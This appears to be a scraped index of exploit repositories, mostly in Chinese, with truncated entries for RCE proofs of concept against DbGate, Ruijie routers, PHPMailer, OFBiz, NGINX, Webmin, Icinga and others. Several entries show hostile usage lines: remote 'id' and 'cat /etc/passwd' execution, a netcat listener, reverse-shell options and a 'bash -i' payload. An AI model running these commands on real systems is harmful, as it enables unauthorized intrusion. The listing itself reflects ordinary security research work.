CVE-2026-48017

CVE-2026-48017 — Remote Code Execution in DbGate via functionName injection Severity : High CVSS 8.8 CWE : CWE-94 — Improper Control of Generation of Code 'Code Injection' Affected : dbgate-api ≤ 7.1.8 patched in 7.1.9 Advisory : GHSA-hv83-ggc4-v385 NVD :...

CVE-2026-35273

🚨 CVE-2026-35273 - Oracle PeopleSoft PeopleTools 未经身份验证的远程代码执行 ⚠️ Oracle PeopleSoft PeopleTools 中的严重未认证远程代码执行 一个影响 Oracle PeopleSoft Enterprise PeopleTools 的漏洞，允许远程攻击者在无需身份验证的情况下入侵易受攻击的系统。 📖 概述 CVE-2026-35273 是一个影响 Oracle PeopleSoft Enterprise PeopleTools 的 Updates Environment Management 组件的严重漏洞。...

CVE-2023-48849

CVE-2023-48849 锐捷EG系列路由器固件版本=EG3.01B11P216由于过滤不当，允许未经身份验证的攻击者远程执行任意代码。 root@kitploit: $ python3 poc.py 192.168.1.1 'id' uid=0root gid=0root $ python3 poc.py 192.168.1.1 'grep TARGET /etc/openwrtrelease' DISTRIBTARGET='mediatek/eg310gh-e' 演示...

nextjs-security-update

nextjs-security-update 有人正在构建开源（OSS）工具来利用新的 Next.js 漏洞。这是一个用于反击的工具——让升级你所有 GitHub 账户中的 Next.js 应用变得傻瓜式简单。 底层使用官方 Vercel 修复工具。 发生了什么 2025年12月11日：Next.js 披露了多个影响使用 App Router 的 React Server Components 的关键漏洞： CVE-2025-66478 RCE CVE-2025-55183 源码泄露 CVE-2025-55184 DoS CVE-2025-67779 完整 DoS 修复...

exploit_CVE-2023-33831

利用CVE-2023-33831 CVE-2023-33831 安装 root@kitploit: git clone https://github.com/btar1gan/exploitCVE-2023-33831 使用 root@kitploit: 自动 cd exploitCVE-2023-33831/ 设置你的监听器 python3 33831.py 手动 nc -lvnp 1881 在 code 参数上设置监听器 copy the 33831.txt to repeater...

CVE-2022-37332-RCE-

Foxit 零日漏洞 : 正在开发中... 我只需要实现 JIT SPRAYING ..... 也在版本 9.0.1.1049 上测试过，所以嗯，我不知道 : 享受...

exploit-CVE-2016-10033

PHPMailer 5.2.18 远程代码执行 PHPMailer 是世界上最流行的传输类库，全球估计有900万用户。每天下载量依然巨大。被许多开源项目使用：WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 以及更多。 PHPMailer 5.2.18 之前的版本存在一个可能导致远程代码执行（RCE）的漏洞。当未设置 Sender 属性时，isMail 传输中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数，进而通过精心构造的 From 地址中的 "（反斜杠双引号）执行任意代码。 漏洞环境 要搭建测试用的漏洞环境，你需要安装...

Ofbiz-RCE

📌 Apache OFBiz RCE 漏洞利用工具 CVE-2024-38856 该 Python 脚本可利用 Apache OFBiz（版本 18.12.15）中的远程代码执行（RCE）漏洞，通过未授权访问 /webtools/control/forgotPassword/ProgramExport 端点实现攻击。 🛠️ 描述 CVE : CVE-2024-38856 类型 : 不正确的授权 → 远程代码执行 组件 : Apache OFBiz 受影响版本 : 早于 18.12.15 漏洞利用 : 通过 POST 发送转换为 Unicode（\uXXXX）的 Groovy 代码注入。 🚀...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC 附带反向 Shell 针对 CVE-2026-42945 （NGINX 中 ngxhttprewritemodule 的堆缓冲区溢出）的远程代码执行概念验证工具。本分支在公开的触发 PoC 基础上，嵌入了反向 shell 监听器以及可配置的利用参数，适用于 CTF 和隔离的实验室环境。 漏洞摘要 CVE ID: CVE-2026-42945 别名: NGINX Rift 受影响组件: ngxhttprewritemodule 受影响版本: NGINX 开源版 0.6.27 – 1.30.0；NGINX Plus R32 ...

DIR-890L-1.20-RCE

D-Link DIR-890L RCE 受影响版本：= v1.22B01 Hotfix（最新） 固件：此处 该型号已到达其生命周期的终点。与此类产品相关的资源已停止开发，不再受支持。 D-Link Systems, Inc. 建议淘汰这些产品，并将其替换为能接收固件更新的产品。 漏洞 在其固件中，我们可以在 SetVirtualServerSettings.php 中找到一个函数 getWOLMAC： root@kitploit: function getWOLMAC$ipv4addr $cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";...

abdal-cve-2026-60137

English | فارسی 🛡️ Abdal CVE-2026-60137 PoC 漏洞利用验证工具 Abdal CVE-2026-60137 是一款防御性 WordPress 暴露验证工具，用于检测 WPQuery 中 authornotin 参数清理不充分的问题，该漏洞编号为 CVE-2026-60137 。当不可信输入到达受影响的参数时，该漏洞可能导致 SQL 注入。在受影响的 WordPress 6.9 和 7.0 版本中，该漏洞可与 CVE-2026-63030 链式利用，构成 wp2shell 远程代码执行路径的一部分。 该工具帮助管理员和授权安全团队识别可能受影响的...

CVE-2026-9256-Poc

nginx ngxhttprewritemodule 堆缓冲区溢出 描述 nginx Plus 和 nginx 开源版的 ngxhttprewritemodule 存在堆缓冲区溢出漏洞。当 rewrite 指令使用包含多个重叠 PCRE 捕获组的正则表达式（例如 ^/.$），且替换字符串引用多个捕获组（例如 $1&y=$2）时，静态路径缓冲区大小计算低估了所需空间，导致实际写入超过分配大小（Pool Slip）。 未经身份验证的攻击者可通过精心构造的 HTTP 请求触发此漏洞，导致工作进程发生堆缓冲区溢出。当 ASLR 被禁用或可被绕过时，存在代码执行的可能。 根因 文件 :...

CVE-2026-25254

CVE-2026-25254 is a critical (CVSS 9.8) improper authorization vulnerability in Qualcomm Software Center (QSC family) , where deficiencies in the authentication process via the SocketIO interface allow a remote, unauthenticated attacker to achieve Remote Code Execution with high impact on confide...

CVE-2022-24715

Icinga Web 2 - 认证远程代码执行 2.8.6, 2.9.6, 2.10 远程命令执行 反弹Shell 使用方法 root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P...

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE 允许经过身份验证的用户通过事件功能实现远程命令执行。可以使用凭据或 PHP 会话 cookie 进行操作。 开始使用 执行程序 使用凭据 root@kitploit: python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337 使用 PHP 会话 cookie root@kitploit: python...

cve-2019-16278

CVE-2019-16278 这是对CVE-2019-16278漏洞的利用程序。 它允许在nhttpd 服务器 v1.9.6 上执行远程代码。 从源码构建 该工具用Rust编写，你需要安装Rust编译器，按照他们页面上的说明操作非常简单。 编译 一旦安装了编译器和cargo，你可以运行： root@kitploit: cargo build 示例 root@kitploit: ./cve-2019-16278 10.10.1.1 80 "cat /etc/passwd" 此示例连接到主机10.10.1.1的80端口，并在远程主机上执行cat /etc/passwd。...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script 一个简短而精炼的漏洞利用脚本，用于 /file/show.cgi/bin 端点中的 CVE-2012-2982 已认证远程代码执行 RCE 漏洞。 Webmin RCE 漏洞利用 — CVE-2012-2982 本仓库包含针对 Webmin 🧠 注意事项 载荷默认为 bash -i 反向 shell。 注入载荷末尾的 | 对成功执行至关重要。 已在 Webmin 1.580 上测试，很可能适用于更早版本。 🔒 免责声明 仅 供教育和授权测试使用。 未经授权使用此漏洞利用程序是非法且不道德的。对此我不承担任何责任。...

CVE-2023-47253

CVE-2023-47253 CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 概念验证 POC 只需在 "gridValoresPopHidden" 参数中传入您的 PHP 代码，然后访问该 URL 即可。 研究人员 https://www.linkedin.com/in/xvinicius/...

CVE-2019-6340

Drupal Drupal 8.6.x RCE 漏洞利用 漏洞利用 CVE：CVE-2019-6340 CMS：Drupal CMS 版本：Drupal 8.6.x（已测试） 条件： -Drupal 8.6.x， 8.6.10 或 Drupal 8.5.11 -RESTful Web Services 模块已启用...

llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection

CVE-2026-58116 — LLaMA-Factory WebUI 通过 trustremotecode 实现远程代码执行（RCE） CVE-2026-58116 （CVSS 9.8 严重）的概念验证：远程代码执行 发生在 LLaMA-Factory = v0.9.5 中。 LLaMA-Factory WebUI 在加载模型时将 trustremotecode=True 硬编码 （src/llamafactory/webui/chatter.py:139 和 runner.py:175,320）。 攻击者可控的“模型路径”字段未经验证便流入...